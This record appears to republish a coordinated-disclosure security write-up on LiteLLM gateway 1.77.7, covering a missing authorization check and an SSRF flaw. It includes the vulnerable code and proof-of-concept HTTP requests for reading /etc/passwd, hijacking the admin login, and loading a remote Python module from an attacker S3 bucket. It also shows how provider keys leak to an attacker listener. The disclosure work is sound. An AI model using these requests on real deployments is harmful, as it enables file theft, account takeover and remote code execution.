{"slug": "when-llm-gateways-go-wrong-findings-from-litellm", "title": "When LLM Gateways Go Wrong: Findings from LiteLLM", "summary": "A security assessment of LiteLLM version 1.77.7 uncovered multiple high-severity vulnerabilities, tracked as CVE-2026-35029 and CVE-2026-59823, that were resolved in LiteLLM version 1.83.9. The most significant flaw was a missing role-based access control check on the POST /config/update endpoint, which let any authenticated user, including low-privileged accounts, modify the proxy's runtime configuration and thereby achieve arbitrary file read, administrative account takeover, and remote code execution via malicious Python modules loaded from cloud storage. A separate server-side request forgery vulnerability in the \"Clientside LLM Credentials\" feature allowed attackers to redirect API calls and exfiltrate provider keys.", "body_md": "Our security assessment of LiteLLM (v1.77.7), a widely used open-source LLM gateway, uncovered multiple high-impact vulnerabilities (tracked as [CVE-2026-35029](https://nvd.nist.gov/vuln/detail/cve-2026-35029), CVE-2026-59823) which have been resolved as of LiteLLM version 1.83.9.\n\nThe most significant issues stemmed from a missing authorization check on the /config/update endpoint, which allowed any authenticated user (including low-privileged accounts) to modify the proxy’s runtime configuration. This single flaw enabled arbitrary file read, administrative account takeover, and remote code execution via malicious Python modules loaded from cloud storage. A separate SSRF vulnerability in the “Clientside LLM Credentials” feature allowed attackers to redirect API calls and exfiltrate provider keys. These findings highlight that as AI infrastructure tools rapidly evolve, foundational security practices like proper access control and input validation remain essential.\n\nAs LLM gateways see wider adoption, understanding the security risks they introduce is essential to deploying them safely within an AI stack. These systems sit between applications and model providers and often handle credentials, configuration, and request routing. We decided to take a closer look at LiteLLM, one of the most popular LLM gateways in use today. What started as an exploratory review uncovered multiple high severity vulnerabilities, including credential extraction, access control bypass, and remote code execution. This post presents our findings and highlights the security pitfalls that can arise in LLM gateway deployments and the wider LLM ecosystem.\n\nLLM gateways are systems that sit between an application and one or more LLM providers. Instead of calling model APIs directly, applications route requests through a gateway, which then forwards those requests to the appropriate model backend.\n\nIn practice, LLM gateways are often used to centralize concerns such as provider abstraction, credential management, request routing, rate limiting, logging, and usage tracking. Many gateways also add higher level features like fallback logic, load balancing across providers, and configuration driven model selection.\n\nLiteLLM is an open-source project that provides an SDK and a gateway product for working with multiple LLM providers. The project originated through Y Combinator and is widely used across the LLM ecosystem.\n\nIn this post, we focus exclusively on the LiteLLM gateway. The gateway is commonly deployed as a standalone service and plays a central role in how LLM requests are handled in many LLM-based applications. Its widespread adoption and position in the request path made it a suitable target for our research.\n\nOur review of LiteLLM was conducted against version 1.77.7. The sections below outline the defects we discovered in the LiteLLM gateway.\n\nThe LiteLLM proxy exposes an administrative endpoint ‘POST /config/update’, designed to allow runtime modifications to the proxy configuration. This endpoint facilitates updating critical settings, including environment variables, model lists, and general proxy settings.\n\nThe vulnerability stems from a missing role-based access control (RBAC) check within the endpoint’s implementation, combined with an overly permissive route allowlist for UI sessions.\n\nIn secure administrative endpoints within LiteLLM (e.g., **/invitation/new**), the code explicitly verifies that the authenticated user possesses the **PROXY_ADMIN** role before proceeding.\n\n**Secure Example** (**/invitation/new** in **litellm/proxy/proxy_server.py**):\n\n@router.post(\n\n“/invitation/new”,\n\ntags=[“Invite Links”],\n\ndependencies=[Depends(user_api_key_auth)],\n\nresponse_model=InvitationModel,\n\ninclude_in_schema=False,\n\n)\n\nasync def new_invitation(\n\ndata: InvitationNew, user_api_key_dict: UserAPIKeyAuth = Depends(user_api_key_auth)\n\n):*# …**# Explicit Role Check*** if user_api_key_dict.user_role != LitellmUserRoles.PROXY_ADMIN:**\n\nraise HTTPException(\n\nstatus_code=400,\n\ndetail={\n\n“error”: “{}, your role={}”.format(\n\nCommonProxyErrors.not_allowed_access.value,\n\nuser_api_key_dict.user_role,\n\n)\n\n},\n\n)*# … business logic …*\n\nHowever, the **update_config** function relies entirely on the generic **user_api_key_auth** dependency without performing a subsequent role check on the returned user object.\n\n**Vulnerable Code** (**/config/update** in **litellm/proxy/proxy_server.py**):\n\n@router.post(\n\n“/config/update”,\n\ndependencies=[Depends(user_api_key_auth)], *# Only generic auth check*\n\ninclude_in_schema=False,\n\n)\n\nasync def update_config(config_info: ConfigYAML):*# …**# MISSING: if user_role != PROXY_ADMIN: raise …**# …**# Proceed to update configuration*\n\nawait proxy_config.save_config(new_config=config)\n\nThe **user_api_key_auth** dependency delegates authorization to a **common_checks** function. This function determines if a request is allowed based on the user’s role and the target route.\n\n**Step 2.a: UI Login Creates Token with litellm-dashboard Team**\n\nWhen any user logs into the LiteLLM UI, the backend generates a temporary API key explicitly associated with the special **litellm-dashboard** team. This occurs in multiple login flows:\n\n*# litellm/proxy/proxy_server.py (login flows at lines ~7962, ~8066, ~8203)*\n\nresponse = await generate_key_helper_fn(\n\nrequest_type=”key”,\n\n**{\n\n“user_role”: user_role,\n\n“duration”: “24hr”,\n\n“key_max_budget”: litellm.max_ui_session_budget,\n\n“models”: [],\n\n“aliases”: {},\n\n“config”: {},\n\n“spend”: 0,\n\n“user_id”: user_id,\n\n“team_id”: “litellm-dashboard”, *# <– Key assignment*\n\n},\n\n)\n\n**Step 2.b: Token Classification Based on Team ID**\n\nDuring authorization, **common_checks** classifies tokens as either **“ui”** or **“api”** based solely on the **team_id** field:\n\n*# litellm/proxy/auth/auth_checks.py (lines 224-227)*\n\ntoken_team = getattr(valid_token, “team_id”, None)\n\ntoken_type: Literal[“ui”, “api”] = (\n\n“ui” if token_team is not None and token_team == “litellm-dashboard” else “api”\n\n)\n\n**Step 2.c: UI Tokens Get Permissive Route Check**\n\nIf the token is classified as **“ui”,** the authorization logic routes to **_is_ui_route()** instead of the stricter **_is_api_route_allowed()**:\n\n*# litellm/proxy/auth/auth_checks.py (lines 335-356)*\n\ndef _is_allowed_route(\n\nroute: str,\n\ntoken_type: Literal[“ui”, “api”],*# …*\n\n) -> bool:\n\nif token_type == “ui” and _is_ui_route(route=route, user_obj=user_obj):\n\nreturn True *# <– Bypasses stricter API route checks*\n\nelse:\n\nreturn _is_api_route_allowed(…)\n\n**Step 2.d: Prefix Matching Allows /config/update**\n\nThe **ui_routes** list includes **/config**, likely intended to allow reading configuration:\n\n*# litellm/proxy/_types.py (lines 490-510)*\n\nui_routes = [\n\n“/sso”,\n\n“/sso/get/ui_settings”,\n\n“/login”,\n\n“/key/info”,\n\n“/config”, *# <– Likely intended for read-only config access*\n\n“/spend”,*# …*\n\n]\n\nThe **_is_ui_route** function uses **startswith** matching:\n\n*# litellm/proxy/auth/auth_checks.py (lines 247-269)*\n\ndef _is_ui_route(route: str, …) -> bool:\n\nallowed_routes = LiteLLMRoutes.ui_routes.value\n\nif (\n\nroute is not None\n\nand isinstance(route, str)\n\nand any(route.startswith(allowed_route) for allowed_route in allowed_routes)\n\n):\n\nreturn True *# <– /config/update matches startswith(“/config”)*\n\nBecause **/config/update** satisfies **startswith(“/config”)**, the check passes. The request is permitted for any user with a valid UI session token, regardless of their actual role (Admin, Internal User, etc.).\n\nThis access control failure allows any authenticated user, including those with the baseline “Internal User” role, to invoke **POST /config/update** and modify the proxy’s runtime configuration. Through this single exposed endpoint, attackers can achieve:\n\nEach of these exploitation scenarios is detailed in the following sections.\n\n**Impact:** Read any file accessible to the LiteLLM process, including configuration files, secrets, and credentials.\n\nThe **/config/update** endpoint accepts an **environment_variables** field, allowing callers to inject arbitrary key-value pairs into the proxy’s environment. One such variable, **UI_LOGO_PATH**, controls the file path served by the **/get_image** endpoint. By setting this variable to a sensitive file path, an attacker can read arbitrary files from the server.\n\n**Source: Environment Variable Injection**\n\nWhen **/config/update** receives environment variables, it encrypts and persists them to the configuration store. This results in the following code being executed, which decrypts these values and writes them directly to **os.environ**:\n\n*# litellm/proxy/proxy_server.py (lines 2841-2860)*\n\ndef _decrypt_and_set_db_env_variables(self, environment_variables: dict) -> dict:\n\n“””\n\nDecrypts a dictionary of environment variables and then sets them in the environment\n\n“””\n\ndecrypted_env_vars = {}\n\nfor k, v in environment_variables.items():\n\ntry:\n\ndecrypted_value = decrypt_value_helper(value=v, key=k)\n\nif decrypted_value is not None:\n\nos.environ[k] = decrypted_value *# <– Attacker-controlled value set here*\n\ndecrypted_env_vars[k] = decrypted_value\n\nexcept Exception as e:\n\nverbose_proxy_logger.error(\n\n“Error setting env variable: %s – %s”, k, str(e)\n\n)\n\nreturn decrypted_env_vars\n\n**Sink: Unvalidated File Path in `/get_image`**\n\nThe `**/get_image**` endpoint reads `** UI_LOGO_PATH**` from the environment and serves the file at that path without any validation:\n\n*# litellm/proxy/proxy_server.py (lines 8329-8358)*\n\n@app.get(“/get_image”, include_in_schema=False)\n\ndef get_image():\n\n“””Get logo to show on admin UI”””\n\ncurrent_dir = os.path.dirname(os.path.abspath(__file__))\n\ndefault_logo = os.path.join(current_dir, “logo.jpg”)\n\nlogo_path = os.getenv(“UI_LOGO_PATH”, default_logo) *# <– Attacker-controlled*\n\nverbose_proxy_logger.debug(“Reading logo from path: %s”, logo_path)\n\nif logo_path.startswith((“http://”, “https://”)):*# … remote URL handling …*\n\nelse:*# Return the local image file if the logo path is not an HTTP/HTTPS URL*\n\nreturn FileResponse(logo_path, media_type=”image/jpeg”) *# <– Arbitrary file read*\n\n**Step 1: Inject `UI_LOGO_PATH ` environment variable**\n\nPOST /config/update HTTP/1.1\n\nHost: localhost:4000\n\nAuthorization: Bearer sk-[REDACTED-LiteLLM-API-KEY]\n\nContent-Type: application/json\n\n{\n\n“environment_variables”: {\n\n“UI_LOGO_PATH”: “/etc/passwd”\n\n}\n\n}\n\n**Step 2: Retrieve file contents**\n\nGET /get_image HTTP/1.1\n\nHost: localhost:4000\n\n**Response:**\n\nHTTP/1.1 200 OK\n\ncontent-type: image/jpeg\n\ncontent-length: 812\n\nroot:x:0:0:root:/root:/bin/ash\n\nbin:x:1:1:bin:/bin:/sbin/nologin\n\n[…]\n\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\n\nnobody:x:65534:65534:nobody:/:/sbin/nologin\n\nnonroot:x:65532:65532:Account created by apko:/home/nonroot:/bin/sh\n\nThe server returns the contents of /etc/passwd, demonstrating arbitrary file read capability.\n\n**Impact:** a low-privilege user can assume control over the default administrative account for the LiteLLM instance, allowing total control over the gateway and access to any contained provider credentials.\n\nThe same environment variable injection primitive can be used to hijack administrative access to the LiteLLM proxy. The UI login flow authenticates users against the **UI_USERNAME** and **UI_PASSWORD** environment variables. By overwriting these values, an attacker can set their own credentials and log in as a full Proxy Admin.\n\n**Vulnerable Authentication Flow**\n\nThe `**/login**` endpoint reads credentials directly from environment variables:\n\n*# litellm/proxy/proxy_server.py (lines 7882-7896)*\n\nform = await request.form()\n\nusername = str(form.get(“username”))\n\npassword = str(form.get(“password”))\n\nui_username = os.getenv(“UI_USERNAME”, “admin”) *# <– Attacker-controlled*\n\nui_password = os.getenv(“UI_PASSWORD”, None) *# <– Attacker-controlled*\n\nif ui_password is None:\n\nui_password = str(master_key) if master_key is not None else None\n\nWhen credentials match, the user is granted full administrative privileges:\n\n*# litellm/proxy/proxy_server.py (lines 7922-7927)***if secrets.compare_digest(username, ui_username) and secrets.compare_digest(****password, ui_password****):***# Non SSO -> If user is using UI_USERNAME and UI_PASSWORD they are Proxy admin*** user_role = LitellmUserRoles.PROXY_ADMIN**\n\nuser_id = litellm_proxy_admin_name\n\n**Step 1: Inject attacker-controlled credentials**\n\nWhen authenticated via the UI, the user can update the administrator credentials with the following POST request:\n\nPOST /config/update HTTP/1.1\n\nHost: localhost:4000\n\nAuthorization: Bearer sk-[REDACTED-LiteLLM-API-KEY]\n\nContent-Type: application/json\n\n{\n\n“environment_variables”: {\n\n“UI_USERNAME”: “hacker”,\n\n“UI_PASSWORD”: “hacker”\n\n}\n\n}\n\n**Step 2: Log in with the injected credentials**\n\nNavigate to the LiteLLM UI login page and authenticate with:\n\nThe screenshot below shows the full HTTP request/response pair associated with the login request, showing the new username and password being used, and the request being accepted with the server issuing a JWT for the built-in ‘admin’ account.\n\nThe next screenshot shows the UI of the dashboard, showing we are indeed logged in as the default admin user.\n\n**Impact:** A low-privilege user can obtain full remote-code execution on the LiteLLM gateway, allowing arbitrary command execution or an interactive reverse shell. Providing full access to all LiteLLM data and a foothold into the network where the LiteLLM gateway is deployed.\n\nLiteLLM supports “pass-through endpoints” that can proxy requests to external services or load custom adapter modules. The **/config/update** endpoint allows defining pass-through endpoints with a **target** parameter that supports loading Python modules from remote storage (S3 or GCS). When a target URL starts with **s3://** or **gcs://**, LiteLLM downloads and executes the Python file, leading to remote code execution.\n\n**Step 1: Configuration Update Triggers Endpoint Initialization**\n\nWhen /config/update receives general_settings.pass_through_endpoints, it calls _update_general_settings() which initializes the endpoints:\n\n*# litellm/proxy/proxy_server.py (lines 2996-3003)**## PASS-THROUGH ENDPOINTS ##*\n\nif “pass_through_endpoints” in _general_settings:\n\ngeneral_settings[“pass_through_endpoints”] = _general_settings[\n\n“pass_through_endpoints”\n\n]\n\nawait initialize_pass_through_endpoints(\n\npass_through_endpoints=general_settings[“pass_through_endpoints”]\n\n)\n\n**Step 2: Route Creation Invokes Module Loading**\n\nDuring endpoint initialization, the target is passed to create_pass_through_route(), which attempts to load it as an adapter:\n\n*# litellm/proxy/pass_through_endpoints/pass_through_endpoints.py (lines 943-947)*\n\ntry:\n\nif isinstance(target, CustomLogger):\n\nadapter = target\n\nelse:\n\nadapter = get_instance_fn(value=target) *# <– Loads remote module*\n\n**Step 3: Remote Module Download and Execution**\n\nWhen the target starts with `s3://` or `gcs://`, `get_instance_fn()` delegates to `_load_instance_from_remote_storage()`:\n\n*# litellm/proxy/types_utils/utils.py (lines 8-14)*\n\ndef get_instance_fn(value: str, config_file_path: Optional[str] = None) -> Any:\n\nmodule_name = value\n\ninstance_name = None\n\ntry:*# Check if value starts with s3:// or gcs://*\n\nif value.startswith(“s3://”) or value.startswith(“gcs://”):\n\nreturn _load_instance_from_remote_storage(value, config_file_path)\n\nThis function downloads the Python file and executes it using importlib:\n\n*# litellm/proxy/types_utils/utils.py (lines 153-159)**# Load the module from the downloaded file using the actual module name*\n\nspec = importlib.util.spec_from_file_location(module_path, local_file_path)\n\nif spec is None or spec.loader is None:\n\nraise ImportError(f”Could not create module spec for {local_file_path}”)\n\nmodule = importlib.util.module_from_spec(spec)\n\nspec.loader.exec_module(module) *# <– Arbitrary code execution*\n\nThe call to `exec_module()` executes all top-level code in the downloaded Python file, including import-time side effects.\n\n**Malicious Adapter** (hosted at s3://attacker-bucket /adapters/evil_adapter.py):\n\nimport os*# Import-time side effect: create a marker directory*\n\nos.makedirs(“/tmp/litellm-pwned”, exist_ok=True)\n\nclass PwnAdapter:\n\ndef __call__(self, *args, **kwargs):*# No-op adapter; existence is enough for get_instance_fn*\n\nreturn None*# Instance name referenced in the ‘target’*\n\nproxy_handler_instance = PwnAdapter()\n\n**Step 1: Register the malicious pass-through endpoint**\n\nPOST /config/update HTTP/1.1\n\nHost: localhost:4000\n\nAuthorization: Bearer sk-[REDACTED-LiteLLM-API-KEY]\n\nContent-Type: application/json\n\n{\n\n“general_settings”: {\n\n“pass_through_endpoints”: [\n\n{\n\n“id”: “pt-rce-poc”,\n\n“path”: “/evil”,\n\n“target”: “s3://attacker-bucket /adapters/evil_adapter.proxy_handler_instance”,\n\n“include_subpath”: true\n\n}\n\n]\n\n}\n\n}\n\nWhen this request is processed, LiteLLM:\n\nThe screenshot below from inside of the Docker container running LiteLLM shows that our arbitrary code was executed and our marker directory was created:\n\nWhile this proof of concept creates a benign marker directory, an attacker could replace the payload with a reverse shell, credential theft, or any arbitrary code execution.\n\nSeparately from the access control bypass documented above, LiteLLM exposes a documented feature called “Clientside LLM Credentials” that allows any authenticated user to redirect LLM API calls to arbitrary endpoints. This creates a Server-Side Request Forgery (SSRF) vulnerability that can be exploited to steal API credentials or probe internal networks.\n\nThe /chat/completions endpoint (and other LLM endpoints) accepts a user_config parameter in the request body. When present, this parameter causes LiteLLM to create a new router with attacker-controlled settings, including the ability to specify a custom api_base URL.\n\nWhen a request contains `user_config`, the routing logic in `route_llm_request.py` creates a new router with the attacker’s configuration:\n\n*# litellm/proxy/route_llm_request.py (lines 122-127)*\n\nelif “user_config” in data:\n\nrouter_config = data.pop(“user_config”)\n\nuser_router = litellm.Router(**router_config) *# <– Attacker-controlled router*\n\nret_val = getattr(user_router, f”{route_type}”)(**data)\n\nuser_router.discard()\n\nreturn ret_val\n\nNo validation is performed on the user_config contents. The attacker can specify a complete model_list with arbitrary api_base values, causing subsequent API calls to be sent to attacker-controlled servers.\n\n**Attacker’s Server Setup:**\n\nSet up a listener on an attacker-controlled server (e.g., 10.10.13.37:9999) to capture incoming requests. In this case, we use a simple netcat listener but any webserver is sufficient.\n\n**Malicious Request:**\n\nWhen this request is processed:\n\n**Attacker’s Listener:**\n\nBelow shows the attacker’s listener that receives the original LLM provider API key which the LiteLLM user should not have access to.\n\nNote: While LiteLLM’s configurable_clientside_auth_params setting restricts direct api_base and api_key parameters in the request body, the user_config parameter follows a different code path that bypasses these restrictions entirely. This allows the documented “Clientside LLM Credentials” feature to be exploited for SSRF without any guardrails.\n\nDuring our security assessment, we identified several additional vulnerabilities that, while not directly exploitable for full system compromise, represent significant security weaknesses:\n\n**Note:** this issue was reported to LiteLLM and acknowledged at the time of reporting – however the issue appears to be a duplicate finding and is being tracked as [GHSA-69×8-hrgq-fjj8.](https://github.com/BerriAI/litellm/security/advisories/GHSA-69x8-hrgq-fjj8)\n\nThe LiteLLM proxy exposes password hashes through various API endpoints, allowing authenticated users to retrieve hashed credentials for other users. This information disclosure increases the attack surface by providing attackers with material that can be subjected to offline cracking attempts. This information is intended to only be accessible to administrative accounts; however, due to the previously described issue with the UI based tokens, a low privileged user can access the password hashes for other accounts.\n\nPassword hashes in LiteLLM are generated using a single iteration of a standard hash function without salting, rather than using modern password hashing algorithms like bcrypt, scrypt, or Argon2. This approach provides minimal protection against brute-force attacks and rainbow table lookups:\n\nThese weaknesses significantly reduce the effort required for an attacker to crack exposed password hashes.\n\nThe vulnerabilities documented in this post were disclosed to the LiteLLM maintainers through a coordinated disclosure process.\n\nThis security assessment of LiteLLM revealed multiple high-risk vulnerabilities that could be chained together to achieve remote code execution, arbitrary file access, and complete system compromise. The most severe issue, the missing authorization checks in /config/update combined with environment variable injection, demonstrates how a single oversight in access control can cascade into multiple high-impact exploitation paths.\n\nLiteLLM represents an important innovation in the LLM ecosystem, providing a unified interface and management layer for interacting with language models. The rapid development pace in this space has produced powerful tools that solve real problems for organizations deploying AI systems at scale. However, speed of innovation must not come at the expense of fundamental security practices.\n\nThe vulnerabilities documented here are not novel attack classes; they include missing authorization checks, path traversal, RCE via dynamic module loading, and insecure password storage. These are well-understood security issues with established mitigation patterns. Their presence in production code highlights a concerning trend: as the AI and LLM ecosystem races forward, traditional security fundamentals are sometimes treated as secondary concerns.", "url": "https://wpnews.pro/news/when-llm-gateways-go-wrong-findings-from-litellm", "canonical_source": "https://research.checkpoint.com/2026/when-llm-gateways-go-wrong-findings-from-litellm/", "published_at": "2026-10-13 14:30:26+00:00", "updated_at": "2026-10-19 15:19:35.307796+00:00", "lang": "en", "topics": ["ai-safety", "ai-infrastructure", "large-language-models", "artificial-intelligence"], "entities": ["LiteLLM", "Y Combinator", "CVE-2026-35029", "CVE-2026-59823"], "also_reported_by": [], "alternates": {"html": "https://wpnews.pro/news/when-llm-gateways-go-wrong-findings-from-litellm", "markdown": "https://wpnews.pro/news/when-llm-gateways-go-wrong-findings-from-litellm.md", "text": "https://wpnews.pro/news/when-llm-gateways-go-wrong-findings-from-litellm.txt", "jsonld": "https://wpnews.pro/news/when-llm-gateways-go-wrong-findings-from-litellm.jsonld"}}